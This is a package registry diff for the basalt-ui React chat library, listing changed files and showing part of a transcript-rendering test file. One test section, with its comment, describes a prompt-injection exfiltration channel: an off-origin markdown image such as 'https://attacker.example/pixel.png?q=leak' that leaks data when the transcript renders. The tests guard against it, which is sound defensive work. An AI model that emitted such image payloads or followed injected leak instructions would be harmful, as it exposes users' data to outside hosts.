basalt-ui 1.11.0 → 1.13.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (301) hide show
  1. package/AGENTS.md +21 -21
  2. package/CHANGELOG.md +32 -0
  3. package/README.md +63 -51
  4. package/agent/rules/basalt-agent.md +14 -0
  5. package/agent/rules/basalt-content.md +16 -3
  6. package/configs/oxlint-plugin.js +7 -3
  7. package/configs/oxlint-plugin.test.ts +34 -5
  8. package/configs/oxlint.json +4 -4
  9. package/dist/agent/adapter.d.ts +150 -0
  10. package/dist/agent/adapter.d.ts.map +1 -0
  11. package/dist/agent/adapter.js +482 -0
  12. package/dist/agent/adapter.test.d.ts +2 -0
  13. package/dist/agent/adapter.test.d.ts.map +1 -0
  14. package/dist/agent/ai-sdk-transport.d.ts.map +1 -1
  15. package/dist/agent/ai-sdk-transport.js +6 -2
  16. package/dist/agent/ai-sdk-transport.test.d.ts +2 -0
  17. package/dist/agent/ai-sdk-transport.test.d.ts.map +1 -0
  18. package/dist/agent/coalesce.d.ts +20 -4
  19. package/dist/agent/coalesce.d.ts.map +1 -1
  20. package/dist/agent/coalesce.js +76 -8
  21. package/dist/agent/coalesce.test.d.ts +2 -0
  22. package/dist/agent/coalesce.test.d.ts.map +1 -0
  23. package/dist/agent/foreign.test.d.ts +2 -0
  24. package/dist/agent/foreign.test.d.ts.map +1 -0
  25. package/dist/agent/id.d.ts +78 -0
  26. package/dist/agent/id.d.ts.map +1 -1
  27. package/dist/agent/id.js +30 -0
  28. package/dist/agent/id.test.d.ts +2 -0
  29. package/dist/agent/id.test.d.ts.map +1 -0
  30. package/dist/agent/index.d.ts +2 -0
  31. package/dist/agent/index.d.ts.map +1 -1
  32. package/dist/agent/index.js +3 -0
  33. package/dist/agent/merge.d.ts.map +1 -1
  34. package/dist/agent/merge.js +19 -7
  35. package/dist/agent/merge.test.d.ts +2 -0
  36. package/dist/agent/merge.test.d.ts.map +1 -0
  37. package/dist/agent/part-list.d.ts +49 -34
  38. package/dist/agent/part-list.d.ts.map +1 -1
  39. package/dist/agent/part-list.js +42 -6
  40. package/dist/agent/part-list.test.d.ts +2 -0
  41. package/dist/agent/part-list.test.d.ts.map +1 -0
  42. package/dist/agent/parts.d.ts +46 -10
  43. package/dist/agent/parts.d.ts.map +1 -1
  44. package/dist/agent/parts.js +16 -6
  45. package/dist/agent/parts.test.d.ts +2 -0
  46. package/dist/agent/parts.test.d.ts.map +1 -0
  47. package/dist/agent/thread.d.ts +18 -0
  48. package/dist/agent/thread.d.ts.map +1 -1
  49. package/dist/agent/thread.js +8 -2
  50. package/dist/agent/thread.test.d.ts +2 -0
  51. package/dist/agent/thread.test.d.ts.map +1 -0
  52. package/dist/agent/transport.test.d.ts +2 -0
  53. package/dist/agent/transport.test.d.ts.map +1 -0
  54. package/dist/agent/use-agent-stream.d.ts.map +1 -1
  55. package/dist/agent/use-agent-stream.js +2 -2
  56. package/dist/agent/use-agent-stream.test.d.ts +2 -0
  57. package/dist/agent/use-agent-stream.test.d.ts.map +1 -0
  58. package/dist/agent/use-agent-thread-runs.d.ts +24 -3
  59. package/dist/agent/use-agent-thread-runs.d.ts.map +1 -1
  60. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +2 -0
  61. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +1 -0
  62. package/dist/agent/use-agent-thread-runs.js +55 -15
  63. package/dist/agent/use-agent-thread-runs.resume.test.d.ts +2 -0
  64. package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +1 -0
  65. package/dist/agent/use-agent-thread-runs.test.d.ts +2 -0
  66. package/dist/agent/use-agent-thread-runs.test.d.ts.map +1 -0
  67. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +2 -0
  68. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +1 -0
  69. package/dist/agent-chat/composer.d.ts +130 -8
  70. package/dist/agent-chat/composer.d.ts.map +1 -1
  71. package/dist/agent-chat/composer.js +189 -23
  72. package/dist/agent-chat/composer.test.d.ts +2 -0
  73. package/dist/agent-chat/composer.test.d.ts.map +1 -0
  74. package/dist/agent-chat/index.d.ts +5 -1
  75. package/dist/agent-chat/index.d.ts.map +1 -1
  76. package/dist/agent-chat/index.js +2 -0
  77. package/dist/agent-chat/message-affordances.d.ts +59 -0
  78. package/dist/agent-chat/message-affordances.d.ts.map +1 -0
  79. package/dist/agent-chat/message-affordances.js +7 -0
  80. package/dist/agent-chat/relative-time.d.ts +27 -0
  81. package/dist/agent-chat/relative-time.d.ts.map +1 -0
  82. package/dist/agent-chat/relative-time.js +27 -0
  83. package/dist/agent-chat/relative-time.test.d.ts +2 -0
  84. package/dist/agent-chat/relative-time.test.d.ts.map +1 -0
  85. package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
  86. package/dist/agent-chat/thread-detail-panel.js +1 -1
  87. package/dist/agent-chat/thread-feed-row.d.ts +65 -0
  88. package/dist/agent-chat/thread-feed-row.d.ts.map +1 -0
  89. package/dist/agent-chat/thread-feed-row.js +156 -0
  90. package/dist/agent-chat/thread-feed-row.test.d.ts +2 -0
  91. package/dist/agent-chat/thread-feed-row.test.d.ts.map +1 -0
  92. package/dist/agent-chat/thread-feed.d.ts +34 -5
  93. package/dist/agent-chat/thread-feed.d.ts.map +1 -1
  94. package/dist/agent-chat/thread-feed.js +52 -19
  95. package/dist/agent-chat/thread-feed.test.d.ts +2 -0
  96. package/dist/agent-chat/thread-feed.test.d.ts.map +1 -0
  97. package/dist/agent-chat/thread-message.d.ts +183 -2
  98. package/dist/agent-chat/thread-message.d.ts.map +1 -1
  99. package/dist/agent-chat/thread-message.js +329 -37
  100. package/dist/agent-chat/thread-message.test.d.ts +2 -0
  101. package/dist/agent-chat/thread-message.test.d.ts.map +1 -0
  102. package/dist/agent-chat/thread-outcome-card.d.ts.map +1 -1
  103. package/dist/agent-chat/thread-outcome-card.js +1 -16
  104. package/dist/agent-chat/thread-workspace.d.ts +14 -2
  105. package/dist/agent-chat/thread-workspace.d.ts.map +1 -1
  106. package/dist/agent-chat/thread-workspace.js +30 -4
  107. package/dist/agent-chat/thread-workspace.test.d.ts +2 -0
  108. package/dist/agent-chat/thread-workspace.test.d.ts.map +1 -0
  109. package/dist/agent-chat/tool-chip.test.d.ts +2 -0
  110. package/dist/agent-chat/tool-chip.test.d.ts.map +1 -0
  111. package/dist/agent-chat/virtualize.d.ts +123 -0
  112. package/dist/agent-chat/virtualize.d.ts.map +1 -0
  113. package/dist/agent-chat/virtualize.js +9 -0
  114. package/dist/agent-chat/virtualize.type-guard.test.d.ts +2 -0
  115. package/dist/agent-chat/virtualize.type-guard.test.d.ts.map +1 -0
  116. package/dist/charts/primitives/ChartFrame.test.d.ts +2 -0
  117. package/dist/charts/primitives/ChartFrame.test.d.ts.map +1 -0
  118. package/dist/charts/utils/domain.test.d.ts +2 -0
  119. package/dist/charts/utils/domain.test.d.ts.map +1 -0
  120. package/dist/cli/check-theme.test.d.ts +2 -0
  121. package/dist/cli/check-theme.test.d.ts.map +1 -0
  122. package/dist/cli/help.test.d.ts +2 -0
  123. package/dist/cli/help.test.d.ts.map +1 -0
  124. package/dist/cli/index.d.ts.map +1 -1
  125. package/dist/cli/init-sync.test.d.ts +2 -0
  126. package/dist/cli/init-sync.test.d.ts.map +1 -0
  127. package/dist/cli/placement-engine.test.d.ts +2 -0
  128. package/dist/cli/placement-engine.test.d.ts.map +1 -0
  129. package/dist/cli/tarball-parity.test.d.ts +2 -0
  130. package/dist/cli/tarball-parity.test.d.ts.map +1 -0
  131. package/dist/cli/template-format.test.d.ts +2 -0
  132. package/dist/cli/template-format.test.d.ts.map +1 -0
  133. package/dist/cli/template-ledger.test.d.ts +2 -0
  134. package/dist/cli/template-ledger.test.d.ts.map +1 -0
  135. package/dist/cli/tokens-css.test.d.ts +2 -0
  136. package/dist/cli/tokens-css.test.d.ts.map +1 -0
  137. package/dist/content/article-actions.test.d.ts +2 -0
  138. package/dist/content/article-actions.test.d.ts.map +1 -0
  139. package/dist/content/article-model.test.d.ts +2 -0
  140. package/dist/content/article-model.test.d.ts.map +1 -0
  141. package/dist/content/block-split.test.d.ts +2 -0
  142. package/dist/content/block-split.test.d.ts.map +1 -0
  143. package/dist/content/fence-block.d.ts +37 -10
  144. package/dist/content/fence-block.d.ts.map +1 -1
  145. package/dist/content/fence-block.js +80 -14
  146. package/dist/content/heading-components.d.ts.map +1 -1
  147. package/dist/content/heading-components.js +7 -4
  148. package/dist/content/heading-components.test.d.ts +2 -0
  149. package/dist/content/heading-components.test.d.ts.map +1 -0
  150. package/dist/content/index.d.ts +6 -3
  151. package/dist/content/index.d.ts.map +1 -1
  152. package/dist/content/index.js +5 -1
  153. package/dist/content/markdown.d.ts +101 -14
  154. package/dist/content/markdown.d.ts.map +1 -1
  155. package/dist/content/markdown.js +141 -28
  156. package/dist/content/markdown.test.d.ts +2 -0
  157. package/dist/content/markdown.test.d.ts.map +1 -0
  158. package/dist/content/prose.module.css.test.d.ts +2 -0
  159. package/dist/content/prose.module.css.test.d.ts.map +1 -0
  160. package/dist/content/sanitize.d.ts +170 -0
  161. package/dist/content/sanitize.d.ts.map +1 -0
  162. package/dist/content/sanitize.js +178 -0
  163. package/dist/content/sanitize.test.d.ts +2 -0
  164. package/dist/content/sanitize.test.d.ts.map +1 -0
  165. package/dist/content/slug.test.d.ts +2 -0
  166. package/dist/content/slug.test.d.ts.map +1 -0
  167. package/dist/dashboard/stat-card.test.d.ts +2 -0
  168. package/dist/dashboard/stat-card.test.d.ts.map +1 -0
  169. package/dist/data/index.d.ts +5 -1
  170. package/dist/data/index.d.ts.map +1 -1
  171. package/dist/data/virtual-list.d.ts.map +1 -1
  172. package/dist/data/virtual.d.ts +2 -1
  173. package/dist/data/virtual.d.ts.map +1 -1
  174. package/dist/guard/check-source.test.d.ts +2 -0
  175. package/dist/guard/check-source.test.d.ts.map +1 -0
  176. package/dist/guard/guard-hook.test.d.ts +2 -0
  177. package/dist/guard/guard-hook.test.d.ts.map +1 -0
  178. package/dist/index.d.ts +4 -4
  179. package/dist/index.d.ts.map +1 -1
  180. package/dist/index.js +11 -1
  181. package/dist/provider/index.test.d.ts +2 -0
  182. package/dist/provider/index.test.d.ts.map +1 -0
  183. package/dist/provider/lab-theme.test.d.ts +2 -0
  184. package/dist/provider/lab-theme.test.d.ts.map +1 -0
  185. package/dist/router-tanstack/multi-search-param-store.test.d.ts +2 -0
  186. package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +1 -0
  187. package/dist/styles.floor.test.d.ts +2 -0
  188. package/dist/styles.floor.test.d.ts.map +1 -0
  189. package/dist/surfaces.d.ts +5 -5
  190. package/dist/surfaces.d.ts.map +1 -1
  191. package/dist/surfaces.js +14 -4
  192. package/dist/theme/border-coverage.test.d.ts +18 -0
  193. package/dist/theme/border-coverage.test.d.ts.map +1 -0
  194. package/dist/theme/contrast.test.d.ts +2 -0
  195. package/dist/theme/contrast.test.d.ts.map +1 -0
  196. package/dist/theme/density-option.test.d.ts +2 -0
  197. package/dist/theme/density-option.test.d.ts.map +1 -0
  198. package/dist/theme/density-relations.test.d.ts +2 -0
  199. package/dist/theme/density-relations.test.d.ts.map +1 -0
  200. package/dist/theme/derive-theme.test.d.ts +2 -0
  201. package/dist/theme/derive-theme.test.d.ts.map +1 -0
  202. package/dist/theme/fonts-option.test.d.ts +2 -0
  203. package/dist/theme/fonts-option.test.d.ts.map +1 -0
  204. package/dist/theme/radius-option.test.d.ts +2 -0
  205. package/dist/theme/radius-option.test.d.ts.map +1 -0
  206. package/dist/theme/radius.test.d.ts +2 -0
  207. package/dist/theme/radius.test.d.ts.map +1 -0
  208. package/dist/theme/shadow-surfaces.test.d.ts +26 -0
  209. package/dist/theme/shadow-surfaces.test.d.ts.map +1 -0
  210. package/dist/theme/spacing.test.d.ts +2 -0
  211. package/dist/theme/spacing.test.d.ts.map +1 -0
  212. package/dist/theme/use-basalt-spacing.test.d.ts +2 -0
  213. package/dist/theme/use-basalt-spacing.test.d.ts.map +1 -0
  214. package/dist/theme-lab/derive-controls.test.d.ts +2 -0
  215. package/dist/theme-lab/derive-controls.test.d.ts.map +1 -0
  216. package/dist/theme-lab/derive-state.test.d.ts +2 -0
  217. package/dist/theme-lab/derive-state.test.d.ts.map +1 -0
  218. package/dist/theme-lab/theme-lab.test.d.ts +2 -0
  219. package/dist/theme-lab/theme-lab.test.d.ts.map +1 -0
  220. package/dist/tokens/build-fonts-css.test.d.ts +2 -0
  221. package/dist/tokens/build-fonts-css.test.d.ts.map +1 -0
  222. package/dist/tokens/build-radius-css.test.d.ts +2 -0
  223. package/dist/tokens/build-radius-css.test.d.ts.map +1 -0
  224. package/dist/tokens/density.test.d.ts +2 -0
  225. package/dist/tokens/density.test.d.ts.map +1 -0
  226. package/dist/tokens/derive-radius.test.d.ts +2 -0
  227. package/dist/tokens/derive-radius.test.d.ts.map +1 -0
  228. package/dist/tokens/derive.test.d.ts +2 -0
  229. package/dist/tokens/derive.test.d.ts.map +1 -0
  230. package/dist/tokens/palette.test.d.ts +2 -0
  231. package/dist/tokens/palette.test.d.ts.map +1 -0
  232. package/dist/vite-color-mix.test.d.ts +2 -0
  233. package/dist/vite-color-mix.test.d.ts.map +1 -0
  234. package/dist/vite.test.d.ts +2 -0
  235. package/dist/vite.test.d.ts.map +1 -0
  236. package/llms.txt +9 -9
  237. package/package.json +7 -2
  238. package/src/agent/adapter.test.ts +1640 -0
  239. package/src/agent/adapter.ts +945 -0
  240. package/src/agent/ai-sdk-transport.test.ts +117 -26
  241. package/src/agent/ai-sdk-transport.ts +8 -2
  242. package/src/agent/coalesce.test.ts +202 -9
  243. package/src/agent/coalesce.ts +126 -15
  244. package/src/agent/foreign.test.ts +5 -1
  245. package/src/agent/id.test.ts +101 -3
  246. package/src/agent/id.ts +118 -0
  247. package/src/agent/index.ts +8 -0
  248. package/src/agent/merge.test.ts +87 -0
  249. package/src/agent/merge.ts +57 -10
  250. package/src/agent/part-list.test.tsx +31 -1
  251. package/src/agent/part-list.tsx +77 -29
  252. package/src/agent/parts.test.ts +121 -4
  253. package/src/agent/parts.ts +78 -17
  254. package/src/agent/thread.test.ts +75 -2
  255. package/src/agent/thread.ts +25 -1
  256. package/src/agent/use-agent-stream.test.tsx +31 -5
  257. package/src/agent/use-agent-stream.ts +6 -3
  258. package/src/agent/use-agent-thread-runs.foreign.test.tsx +5 -0
  259. package/src/agent/use-agent-thread-runs.resume.test.tsx +16 -11
  260. package/src/agent/use-agent-thread-runs.test.tsx +356 -17
  261. package/src/agent/use-agent-thread-runs.ts +159 -23
  262. package/src/agent/use-agent-thread-runs.wedge.test.tsx +93 -7
  263. package/src/agent-chat/composer.test.tsx +924 -0
  264. package/src/agent-chat/composer.tsx +521 -52
  265. package/src/agent-chat/index.ts +13 -1
  266. package/src/agent-chat/message-affordances.ts +61 -0
  267. package/src/agent-chat/relative-time.test.ts +95 -0
  268. package/src/agent-chat/relative-time.ts +55 -0
  269. package/src/agent-chat/thread-detail-panel.tsx +3 -1
  270. package/src/agent-chat/thread-feed-row.test.tsx +510 -0
  271. package/src/agent-chat/thread-feed-row.tsx +274 -0
  272. package/src/agent-chat/thread-feed.test.tsx +241 -0
  273. package/src/agent-chat/thread-feed.tsx +119 -18
  274. package/src/agent-chat/thread-message.test.tsx +1078 -4
  275. package/src/agent-chat/thread-message.tsx +795 -42
  276. package/src/agent-chat/thread-outcome-card.tsx +1 -25
  277. package/src/agent-chat/thread-workspace.test.tsx +169 -0
  278. package/src/agent-chat/thread-workspace.tsx +70 -6
  279. package/src/agent-chat/virtualize.ts +132 -0
  280. package/src/agent-chat/virtualize.type-guard.test.ts +49 -0
  281. package/src/cli/index.ts +0 -1
  282. package/src/cli/template-format.test.ts +2 -2
  283. package/src/content/fence-block.tsx +242 -15
  284. package/src/content/heading-components.test.tsx +65 -0
  285. package/src/content/heading-components.tsx +26 -5
  286. package/src/content/index.ts +19 -3
  287. package/src/content/markdown.test.tsx +603 -0
  288. package/src/content/markdown.tsx +355 -35
  289. package/src/content/sanitize.test.ts +659 -0
  290. package/src/content/sanitize.ts +510 -0
  291. package/src/dashboard/stat-card.test.tsx +6 -1
  292. package/src/data/index.ts +5 -1
  293. package/src/data/virtual-list.tsx +2 -1
  294. package/src/data/virtual.ts +2 -1
  295. package/src/index.ts +18 -1
  296. package/src/surfaces.ts +13 -3
  297. package/src/theme/contrast.test.ts +1 -4
  298. package/src/theme/density-relations.test.ts +4 -2
  299. package/src/theme/fonts-option.test.ts +7 -1
  300. package/src/theme/shadow-surfaces.test.ts +21 -6
  301. package/src/theme/use-basalt-spacing.test.tsx +2 -1
@@ -7,11 +7,26 @@
7
7
  * boundary in a controlled render-count harness.
8
8
  */
9
9
  import { MantineProvider } from '@mantine/core'
10
- import { cleanup, render, screen } from '@testing-library/react'
11
- import { afterEach, describe, expect, test } from 'bun:test'
10
+ import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
11
+ import { afterEach, beforeEach, describe, expect, mock, spyOn, test } from 'bun:test'
12
12
  import { definePartRenderers } from '../agent'
13
13
  import type { ChatMessage, TranscriptPart } from '../agent'
14
- import { messageBlockRenderCounter, ThreadTranscript } from './thread-message'
14
+ import {
15
+ applyInitialScroll,
16
+ MAX_INITIAL_SCROLL_ATTEMPTS,
17
+ messageBlockRenderCounter,
18
+ nonVirtualizedRowsFallback,
19
+ resolveGuardedMeasurement,
20
+ resolveInitialScrollAction,
21
+ ThreadTranscript,
22
+ } from './thread-message'
23
+ import type { InitialScrollState } from './thread-message'
24
+
25
+ // `nonVirtualizedRowsFallback` is a plain function component but its export name (this module's
26
+ // test-only-escape-hatch convention, matching `messageBlockRenderCounter`) is lowercase-first, so
27
+ // JSX would treat `<nonVirtualizedRowsFallback />` as a native DOM tag rather than a component
28
+ // reference. Alias it to a capitalized local binding for JSX use below.
29
+ const VirtualizeFallback = nonVirtualizedRowsFallback
15
30
 
16
31
  afterEach(cleanup)
17
32
 
@@ -21,7 +36,10 @@ function withNodeEnv<T>(value: string, fn: () => T): T {
21
36
  try {
22
37
  return fn()
23
38
  } finally {
24
- process.env['NODE_ENV'] = original
39
+ // `original` may be undefined (NODE_ENV unset) — assigning undefined through the index
40
+ // signature isn't valid, so restore by deleting the key instead.
41
+ if (original === undefined) delete process.env['NODE_ENV']
42
+ else process.env['NODE_ENV'] = original
25
43
  }
26
44
  }
27
45
 
@@ -37,6 +55,22 @@ function buildMessages(count: number): ChatMessage<TranscriptPart>[] {
37
55
  })
38
56
  }
39
57
 
58
+ /** Stubs `navigator.clipboard.writeText`, returning the array of copied strings. happy-dom does
59
+ * not implement the Clipboard API at all. */
60
+ function stubClipboard(): string[] {
61
+ const calls: string[] = []
62
+ Object.defineProperty(window.navigator, 'clipboard', {
63
+ configurable: true,
64
+ value: {
65
+ writeText: (text: string) => {
66
+ calls.push(text)
67
+ return Promise.resolve()
68
+ },
69
+ },
70
+ })
71
+ return calls
72
+ }
73
+
40
74
  describe('resolution order', () => {
41
75
  test('a registered consumer renderer wins over the built-in union', () => {
42
76
  const renderers = definePartRenderers({
@@ -177,6 +211,143 @@ describe('finish indicator (AGENT-CHAT-SPEC.md §10)', () => {
177
211
  })
178
212
  })
179
213
 
214
+ // ── The settle fix ────────────────────────────────────────────────────────────
215
+ //
216
+ // `TextRenderer` used to hardcode `streaming`, so `Markdown` always ran in block-split mode and its
217
+ // tail block was unconditionally unsettled — a FINISHED message's last block never settled. Two
218
+ // visible symptoms, both asserted below: a trailing ```mermaid fence stayed a CodeBlock forever,
219
+ // and the last block of every finished message permanently hid its copy action.
220
+
221
+ const MERMAID_TAIL = 'intro paragraph\n\n```mermaid\ngraph TD\n A --> B\n```'
222
+ const CODE_TAIL = 'intro paragraph\n\n```notalanguage\nfinal body\n```'
223
+
224
+ function assistantMessage(text: string): ChatMessage<TranscriptPart>[] {
225
+ return [
226
+ { id: 'm1', role: 'assistant', parts: [{ id: 'm1-p1', type: 'text', text }], createdAt: 0 },
227
+ ]
228
+ }
229
+
230
+ describe('settled threading — a finished message settles its FINAL block', () => {
231
+ test('a trailing mermaid fence upgrades out of the CodeBlock', async () => {
232
+ render(
233
+ <MantineProvider>
234
+ <ThreadTranscript messages={assistantMessage(MERMAID_TAIL)} />
235
+ </MantineProvider>,
236
+ )
237
+
238
+ // MermaidDiagram renders the SVG into a role="img" container; the unsettled path renders a
239
+ // plain <pre> instead.
240
+ expect(await screen.findByRole('img')).toBeDefined()
241
+ })
242
+
243
+ test('the final block keeps its copy action', async () => {
244
+ render(
245
+ <MantineProvider>
246
+ <ThreadTranscript messages={assistantMessage(CODE_TAIL)} />
247
+ </MantineProvider>,
248
+ )
249
+
250
+ await screen.findByText('final body')
251
+ expect(screen.getByLabelText('Copy code')).toBeDefined()
252
+ })
253
+ })
254
+
255
+ describe('settled threading — a streaming message leaves its tail unsettled', () => {
256
+ test('the in-flight tail fence stays a copy-less CodeBlock', async () => {
257
+ render(
258
+ <MantineProvider>
259
+ <ThreadTranscript
260
+ messages={[]}
261
+ liveParts={[{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]}
262
+ liveStatus="streaming"
263
+ />
264
+ </MantineProvider>,
265
+ )
266
+
267
+ const code = await screen.findByText(/graph TD/)
268
+ expect(code.closest('pre')).not.toBeNull()
269
+ expect(screen.queryByRole('img')).toBeNull()
270
+ expect(screen.queryByLabelText('Copy code')).toBeNull()
271
+ })
272
+
273
+ test('the same message settles once the run stops streaming', async () => {
274
+ const liveParts: TranscriptPart[] = [{ id: 'live-p1', type: 'text', text: MERMAID_TAIL }]
275
+ const { rerender } = render(
276
+ <MantineProvider>
277
+ <ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="streaming" />
278
+ </MantineProvider>,
279
+ )
280
+
281
+ await screen.findByText(/graph TD/)
282
+ expect(screen.queryByRole('img')).toBeNull()
283
+
284
+ // Same `liveParts` reference, only `liveStatus` flips — the `MessageBlock` memo comparator
285
+ // must not swallow this final transition (it compares `streaming` explicitly).
286
+ rerender(
287
+ <MantineProvider>
288
+ <ThreadTranscript messages={[]} liveParts={liveParts} liveStatus="done" />
289
+ </MantineProvider>,
290
+ )
291
+
292
+ expect(await screen.findByRole('img')).toBeDefined()
293
+ })
294
+ })
295
+
296
+ // ── Image exfiltration guard ──────────────────────────────────────────────────
297
+ //
298
+ // THIS IS A SECURITY REGRESSION TEST, NOT A RENDERING TEST. Images auto-fetch, so an off-origin
299
+ // `<img>` in model-generated markdown is a one-way prompt-injection exfiltration channel:
300
+ // `![](https://attacker.example/p.png?q=<whatever the model was told to leak>)` fires a GET the
301
+ // moment the transcript paints, with no click and nothing visible.
302
+ //
303
+ // The control is `Markdown`'s `contentTrust="untrusted"`, and it has already been lost once. The
304
+ // settle fix above changed `TextRenderer` from a hardcoded `streaming` to `streaming={!settled}`,
305
+ // and at the time `streaming` ALSO selected the image allowlist — so every FINISHED message (i.e.
306
+ // nearly the whole transcript) silently regained the open `https://` default. Trust is a property
307
+ // of WHERE THE TEXT CAME FROM; settledness is a property of when. They must never be the same prop
308
+ // again. The settled case below is the one that regressed.
309
+
310
+ const OFF_ORIGIN_IMAGE = 'https://attacker.example/pixel.png?q=leak'
311
+ const IMAGE_DOC = `![local](/assets/local.png)\n\n![probe](${OFF_ORIGIN_IMAGE})`
312
+
313
+ describe('transcript images — agent text is untrusted whether or not it has settled', () => {
314
+ async function renderTranscript(streamingTurn: boolean) {
315
+ const parts: TranscriptPart[] = [{ id: 'p1', type: 'text', text: IMAGE_DOC }]
316
+ const { container } = render(
317
+ <MantineProvider>
318
+ {streamingTurn ? (
319
+ <ThreadTranscript messages={[]} liveParts={parts} liveStatus="streaming" />
320
+ ) : (
321
+ <ThreadTranscript messages={assistantMessage(IMAGE_DOC)} />
322
+ )}
323
+ </MantineProvider>,
324
+ )
325
+ // `findByAltText` only ever matches an <img>, so `Markdown`'s Suspense text fallback cannot
326
+ // satisfy it — this waits for the real pipeline, and its success also proves same-origin
327
+ // images still render (an allowlist, not a blanket image kill).
328
+ await screen.findByAltText('local')
329
+ return container
330
+ }
331
+
332
+ test('a SETTLED assistant message does NOT render an off-origin https image', async () => {
333
+ const container = await renderTranscript(false)
334
+
335
+ expect(screen.getByAltText('local').getAttribute('src')).toBe('/assets/local.png')
336
+ // Dropped whole: no <img> element, and the attacker origin never reaches the DOM at all —
337
+ // not as a src, not as a srcset, not as text.
338
+ expect(screen.queryByAltText('probe')).toBeNull()
339
+ expect(container.querySelector('img[src^="https://"]')).toBeNull()
340
+ expect(container.innerHTML).not.toContain('attacker.example')
341
+ })
342
+
343
+ test('an in-flight assistant turn does not render one either', async () => {
344
+ const container = await renderTranscript(true)
345
+
346
+ expect(container.querySelector('img[src^="https://"]')).toBeNull()
347
+ expect(container.innerHTML).not.toContain('attacker.example')
348
+ })
349
+ })
350
+
180
351
  describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
181
352
  test('a streamed delta re-renders exactly one MessageBlock on a 50-message thread', () => {
182
353
  const messages = buildMessages(50)
@@ -208,4 +379,907 @@ describe('MessageBlock memoization (AGENT-CHAT-SPEC.md §9)', () => {
208
379
 
209
380
  expect(messageBlockRenderCounter.count).toBe(1)
210
381
  })
382
+
383
+ test('flipping `groupConsecutive` re-renders only the messages whose `grouped` value actually flips', () => {
384
+ const t0 = 1_000_000_000
385
+ const messages: ChatMessage<TranscriptPart>[] = [
386
+ // No predecessor — `grouped` is false either way, this block must NOT re-render.
387
+ { id: 'g0', role: 'user', parts: [{ id: 'g0-p1', type: 'text', text: 'q' }], createdAt: t0 },
388
+ // Different-role predecessor — `grouped` is false either way, must NOT re-render.
389
+ {
390
+ id: 'g1',
391
+ role: 'assistant',
392
+ parts: [{ id: 'g1-p1', type: 'text', text: 'a' }],
393
+ createdAt: t0 + 1_000,
394
+ },
395
+ // Same-role, 1 minute after g1 — `grouped` flips true -> false. The ONLY block that must
396
+ // re-render.
397
+ {
398
+ id: 'g2',
399
+ role: 'assistant',
400
+ parts: [{ id: 'g2-p1', type: 'text', text: 'b' }],
401
+ createdAt: t0 + 60_000,
402
+ },
403
+ ]
404
+
405
+ const { rerender } = render(
406
+ <MantineProvider>
407
+ <ThreadTranscript messages={messages} groupConsecutive />
408
+ </MantineProvider>,
409
+ )
410
+ messageBlockRenderCounter.count = 0
411
+
412
+ // Same `messages` array + every message object reference unchanged — only the boolean prop
413
+ // flips.
414
+ rerender(
415
+ <MantineProvider>
416
+ <ThreadTranscript messages={messages} groupConsecutive={false} />
417
+ </MantineProvider>,
418
+ )
419
+
420
+ expect(messageBlockRenderCounter.count).toBe(1)
421
+ })
422
+
423
+ test('a consumer passing a fresh `affordances` object literal each render does not force a re-render', () => {
424
+ const messages = buildMessages(10)
425
+ const { rerender } = render(
426
+ <MantineProvider>
427
+ <ThreadTranscript messages={messages} affordances={{ timestamp: 'relative', copy: true }} />
428
+ </MantineProvider>,
429
+ )
430
+ messageBlockRenderCounter.count = 0
431
+
432
+ // A BRAND NEW object literal, same field values, same `messages` reference — nothing has
433
+ // actually changed from any consumer's point of view.
434
+ rerender(
435
+ <MantineProvider>
436
+ <ThreadTranscript messages={messages} affordances={{ timestamp: 'relative', copy: true }} />
437
+ </MantineProvider>,
438
+ )
439
+
440
+ expect(messageBlockRenderCounter.count).toBe(0)
441
+ })
442
+ })
443
+
444
+ function singleMessage(createdAt: number): ChatMessage<TranscriptPart>[] {
445
+ return [
446
+ {
447
+ id: 'aff1',
448
+ role: 'assistant',
449
+ parts: [{ id: 'aff1-p1', type: 'text', text: 'hello there' }],
450
+ createdAt,
451
+ },
452
+ ]
453
+ }
454
+
455
+ /** Stands in for a consumer's own `useCallback`-wrapped `actions` — see the memo-bail-out test. */
456
+ const STABLE_ACTIONS = (): null => null
457
+
458
+ describe('per-message affordances (AGENT-CHAT-SPEC.md §11)', () => {
459
+ test('timestamp: relative (the default) renders a relative label', () => {
460
+ render(
461
+ <MantineProvider>
462
+ <ThreadTranscript messages={singleMessage(Date.now() - 5 * 60_000)} />
463
+ </MantineProvider>,
464
+ )
465
+
466
+ expect(within(screen.getByTestId('message-affordances-aff1')).getByText(/ago/)).toBeDefined()
467
+ })
468
+
469
+ test('timestamp: absolute renders a locale date/time string, not a relative one', () => {
470
+ const createdAt = new Date('2024-01-01T12:00:00Z').getTime()
471
+ render(
472
+ <MantineProvider>
473
+ <ThreadTranscript
474
+ messages={singleMessage(createdAt)}
475
+ affordances={{ timestamp: 'absolute' }}
476
+ />
477
+ </MantineProvider>,
478
+ )
479
+
480
+ const row = within(screen.getByTestId('message-affordances-aff1'))
481
+ expect(row.getByText(new Date(createdAt).toLocaleString())).toBeDefined()
482
+ expect(row.queryByText(/ago/)).toBeNull()
483
+ })
484
+
485
+ test('timestamp: none renders no timestamp text at all', () => {
486
+ render(
487
+ <MantineProvider>
488
+ <ThreadTranscript
489
+ messages={singleMessage(Date.now())}
490
+ affordances={{ timestamp: 'none' }}
491
+ />
492
+ </MantineProvider>,
493
+ )
494
+
495
+ expect(within(screen.getByTestId('message-affordances-aff1')).queryByText(/ago/)).toBeNull()
496
+ })
497
+
498
+ test('copy copies the message COALESCED text, not a naive join of the raw parts', async () => {
499
+ const calls = stubClipboard()
500
+ const messages: ChatMessage<TranscriptPart>[] = [
501
+ {
502
+ id: 'aff2',
503
+ role: 'assistant',
504
+ parts: [
505
+ { id: 'p1', type: 'text', text: 'Hello' },
506
+ // A source part splits the run — a non-text part sitting between two text parts. Naive
507
+ // `parts.map(p => p.text).join('')` would blow up on `.text` not existing here; the
508
